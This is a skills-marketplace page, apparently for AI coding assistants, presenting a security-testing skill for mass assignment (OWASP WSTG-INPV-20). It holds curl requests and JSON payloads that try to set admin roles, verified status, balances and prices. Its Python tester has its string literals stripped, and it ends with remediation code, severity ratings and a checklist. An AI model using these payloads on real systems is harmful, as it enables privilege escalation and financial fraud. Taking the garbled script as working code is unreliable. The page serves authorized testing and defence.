SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-20명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | wstg-inpv-20 |
| description | Testing for Mass Assignment |
| category | input-validation |
| owasp_id | WSTG-INPV-20 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-20
Testing for Mass Assignment
Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for Mass Assignment..."
# Test user registration with extra parameters
curl -s -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@test.com",
"password": "TestPass123!",
"role": "admin",
"isAdmin": true,
"is_admin": true
}'
# Test profile update with extra parameters
curl -s -X PUT "$TARGET/api/user/profile" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{
"name": "Test User",
"role": "admin",
"verified": true,
"balance": 999999
}'
#!/usr/bin/env python3
"""
Mass Assignment Vulnerability Tester
"""
import requests
json
copy
:
():
.url = url
.findings = []
.session = requests.Session()
DANGEROUS_PARAMS = {
: [
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , ]),
(, [, , ]),
(, [, ]),
(, [[], []]),
],
: [
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, []),
(, []),
(, [, , ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, [, ]),
(, []),
(, []),
(, []),
],
: [
(, []),
(, []),
(, [, ]),
(, []),
(, []),
],
}
():
()
base_data :
base_data = {
: ,
: ,
:
}
register_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.post(
register_url,
json=test_data
)
response.status_code [, ]:
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
base_data :
base_data = {: }
headers = {}
auth_token:
headers[] =
update_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.put(
update_url,
json=test_data,
headers=headers
)
response.status_code == :
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
order_data = {
: [{: , : }],
:
}
headers = {}
auth_token:
headers[] =
order_url =
financial_params = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
param_name, value financial_params:
test_data = copy.deepcopy(order_data)
test_data[param_name] = value
:
response = .session.post(
order_url,
json=test_data,
headers=headers
)
response.status_code [, ]:
resp_data = response.json() response.text {}
(value) (resp_data.get(param_name, )):
()
.findings.append({
: ,
: ,
: param_name,
: value,
:
})
Exception e:
():
()
endpoints :
endpoints = [
(, ),
(, ),
(, ),
(, ),
(, ),
]
headers = {: }
auth_token:
headers[] =
test_params = [, , , , , ]
method, endpoint endpoints:
url =
param test_params:
test_data = {param: }
:
method == :
response = .session.post(url, json=test_data, headers=headers)
:
response = .session.put(url, json=test_data, headers=headers)
response.status_code [, ]:
()
Exception e:
():
( + *)
()
(*)
.findings:
()
()
:
critical = [f f .findings f[] == ]
high = [f f .findings f[] == ]
medium = [f f .findings f[] == ]
critical:
()
f critical:
()
high:
()
f high:
()
medium:
()
f medium:
()
():
.test_registration()
.test_profile_update(auth_token)
.test_order_manipulation(auth_token)
.test_api_endpoints(auth_token=auth_token)
.generate_report()
tester = MassAssignmentTester()
tester.run_tests(auth_token=)
// Privilege Escalation
{
"role": "admin",
"isAdmin": true,
"is_admin": true,
"admin": true,
"user_type": "admin",
"permissions": ["all"],
"group": "administrators"
}
// Account Status
{
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"confirmed": true
}
// Financial
{
"balance": 999999,
"credits": 999999,
"price": 0,
"discount": 100,
"total": 0
}
// Access Control
{
"owner_id": 1,
"user_id": 1,
"tenant_id": 1,
"organization_id": 1
}
| Tool | Purpose |
|---|---|
| Burp Suite Param Miner | Parameter discovery |
| Arjun | Hidden parameter finder |
| Custom scripts | Targeted testing |
# Python/Flask - Explicit field allowlist
from flask import request
from marshmallow import Schema, fields
class UserUpdateSchema(Schema):
# Only these fields can be updated
name = fields.Str()
email = fields.Email()
# role, isAdmin, etc. are NOT included
@app.route('/profile', methods=['PUT'])
def update_profile():
schema = UserUpdateSchema()
data = schema.load(request.json) # Only allowed fields
user.update(**data)
// Node.js/Express - Allowlist pattern
const allowedFields = ["name", "email", "bio"]
app.put("/profile", (req, res) => {
const updates = {}
for (const field of allowedFields) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field]
}
}
// Only safe fields are used
User.update(userId, updates)
})
# Rails - Strong Parameters
def user_params
params.require(:user).permit(:name, :email)
# role, admin, etc. are NOT permitted
end
| Finding | CVSS | Severity |
|---|---|---|
| Admin role assignment | 9.8 | Critical |
| Price manipulation | 8.6 | High |
| Account status bypass | 7.5 | High |
| Timestamp manipulation | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes |
[ ] Registration endpoint tested
[ ] Profile update tested
[ ] Order/payment endpoints tested
[ ] Hidden parameters discovered
[ ] Privilege escalation tested
[ ] Financial manipulation tested
[ ] Findings documented